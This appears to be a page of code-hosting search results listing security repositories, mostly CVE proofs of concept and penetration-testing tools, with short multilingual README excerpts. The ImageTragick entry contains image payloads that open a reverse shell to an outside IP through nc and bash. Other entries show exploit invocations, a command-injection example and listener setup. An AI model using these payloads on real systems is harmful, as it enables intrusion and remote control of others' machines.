89905 matches found
ImageTragick_Poc
ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...
Privilege-escalation-MitraStar
Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnerabilidad de escalada de privilegios en routers MitraStar Dispositivo: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 no probado en otras versiones Exploit: Los dispositivos Mitrastar GPT-2541GNAC-N1 proporcionan acce...
TransitionPlayer
This issue has been fixed for Android 14+ in June 2026 Android Security Bulletin. Click here to see the patch Writeup TODO I'll complete the writeup when I got a little free time But before that I have to fight against school work and exams I decided to complete the section before exams are...
CVE-2022-1388
CVE-2022-1388 Verificación y exploit para CVE-2022-1388 Instalación: python3 -m pip install -r requirements.txt Uso Individual : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Masivo : python3 cve.py m...
CVE-2024-31317
CVE-2024-31317 Prólogo Hace un par de días vi que la cuenta oficial de JD publicó un análisis de la vulnerabilidad CVE-2024-31317. Después de leerlo completo, me pareció bastante interesante, y dado que las soluciones principales actuales para unidades de cabeza head units de vehículos son sistem...
cve-2022-30525
CVE-2022-30525 por 1vere$k Rapid7 descubrió y reportó una vulnerabilidad que afecta a los firewalls de Zyxel compatibles con Zero Touch Provisioning ZTP, incluidas las series ATP, VPN y USG FLEX incluidos USG20-VPN y USG20W-VPN. La vulnerabilidad, identificada como CVE-2022-30525, permite a un...
PuttyRider
PuttyRider Secuestrar sesiones de Putty para espiar la conversación e inyectar comandos de Linux. Descarga PuttyRider-bin.zip Documentación Presentación de Defcamp 2014 - pdf Presentación de Defcamp 2014 - vídeo Ejemplos Listar los procesos Putty existentes y su estado inyectado / no inyectado...
lazyweb
LazyWeb - 易受攻击的Web应用程序 LazyWeb 是一个演示性Web应用程序，旨在展示常见的服务器端应用程序漏洞。每个漏洞都按其相应的难度等级进行分类，为开发者和安全爱好者提供全面的学习体验。 主要特性 演示Web应用程序中的真实世界漏洞。 涵盖从基础到高级的安全缺陷，允许用户在不同层次测试自己的技能。 旨在帮助安全专业人员理解漏洞的本质以及如何缓解它们。 包含的漏洞 该应用程序包含以下漏洞： 操作系统命令注入 SQL注入 XML外部实体注入XXE 不安全的直接对象引用IDOR 本地文件包含LFI 不安全的文件上传 任意会话分配 损坏的授权 损坏的身份验证...
CVE-2024-37770
CVE-2024-37770 descripción Se descubrió que 14Finger v1.1 contiene una vulnerabilidad de ejecución remota de comandos RCE en la función fingerprint. Esta vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios a través de un payload manipulado. Vector de ataque Atacantes no...
CVE-2024-3273
CVE-2024-3273 Prueba de concepto PoC Este repositorio contiene una prueba de concepto PoC para CVE-2024-3273, una vulnerabilidad de seguridad descubierta en dispositivos NAS de D-Link. La vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios en dispositivos vulnerables. Descripción...
CVE-2018-6961
CVE-2018-6961 - VULNERABILIDAD DE INYECCIÓN DE COMANDOS NO AUTENTICADA Este exploit funciona en Python2.7 - No probado en ninguna otra versión 1 Instalar dependencias pip install request si no tienes pip instalado, simplemente ejecuta apt-get install python-pip 2 Uso python exployt.py --rhost...
CVE-2019-12725-Command-Injection
POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 Inyección remota de comandos ZeroShell 3.9.0 es propenso a una vulnerabilidad de ejecución remota de comandos. Específicamente, este problema ocurre porque la aplicación web maneja incorrectamente algunos parámetros HTTP. Un atacante no...
commix
English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...
commix
English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...
CVE-2024-8190-unauth
CVE-2024-8190 no autenticado Descripción Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE no autenticado en Ivanti CSA 4.6 y anteriores. CVE-2024-8963 Path Traversal en Ivanti CSA anterior al parche 519 de la versión 4.6 permite a un atacante remoto no autenticado acceder a funcionalidades...
CVE-2016-2434
CVE-2016-2434...
CVE-2023-51385_test
Verificar CVE-2023-51385 Primero, necesitas agregar el siguiente contenido en /.ssh/config host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Existe inyección de comandos en la declaración del archivo .gitmodules url = ssh://echo helloworld cve.txtfoo.example.com/bar Un...
CVE-2018-14699
CVE-2018-14699 Inyección de comandos sin autenticación en la función enableuser de DroboAccess v2.1 Uso: Para usar, primero inicie un listener ncat -nvlp 1337 Luego ejecute el exploit ejemplo: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='host para la explotación...
Bughound
Bughound 是什么？ Bughound 是一款开源的静态代码分析工具，能够分析你的代码并将结果发送到 Elasticsearch 和 Kibana，从而让你获得代码中潜在漏洞的有用洞察。 Bughound 自带预配置的 Elasticsearch 和 Kibana Docker 镜像，其中包含为你发现的结果量身定制的仪表板。 你可以检测多种类型的漏洞，例如： 命令注入 XXE 不安全的反序列化 以及更多！ 目前 Bughound 能够分析 PHP 和 JAVA 代码，并包含这些语言的一组危险函数。 随着时间推移，我会确保不断添加更多函数/语言的支持，但目前主要精力放在项目的稳定性上...
